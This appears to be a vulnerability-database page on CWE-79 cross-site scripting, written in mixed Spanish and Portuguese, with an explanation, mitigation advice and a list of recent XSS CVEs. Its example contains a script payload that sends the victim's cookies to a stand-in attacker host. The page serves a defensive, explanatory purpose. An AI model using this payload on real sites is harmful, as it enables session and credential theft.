Fallos del tipo CWE-79

30.303 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-49992HIGHWordPress LearnPress Export Import plugin <= 4.0.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-46654MEDIUMA stored cross-site scripting (XSS) vulnerability in the Add Scheduled Task module of Maccms10 v2024.1000.4040 allows attackers to execute aEPSS 0.3%CVE-2025-64614MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-64825MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-23790HIGHWordPress Easy Code Placement Plugin <= 18.11 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23789HIGHWordPress URL Shortener WooCommerce Plugin <= 9.0.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-53238HIGHWordPress Toast Mobile Menu plugin <= 1.0.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-64794MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-64823MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-52760HIGHWordPress MultiSite Clone Duplicator plugin <= 1.5.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-64796MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-64793MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-52763HIGHWordPress Nifty Backups plugin <= 1.08 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-64591MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2026-112356MEDIUMGFI KerioConnect < 10.0.9p2 XSS via Link Auto-FormatterEPSS 0.3%CVE-2025-26552HIGHWordPress Naver Syndication V2 plugin <= 0.8.3 - CSRF to Stored Cross-Site Scripting vulnerabilityEPSS 0.3%CVE-2025-32785LOWPi-hole Admin Interface vulnerable to persistent XSS on Subscribed lists group management (Adress Field)EPSS 0.3%CVE-2025-64572MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-64627MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-53351HIGHWordPress Fidelo Snippet plugin <= 1.12 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%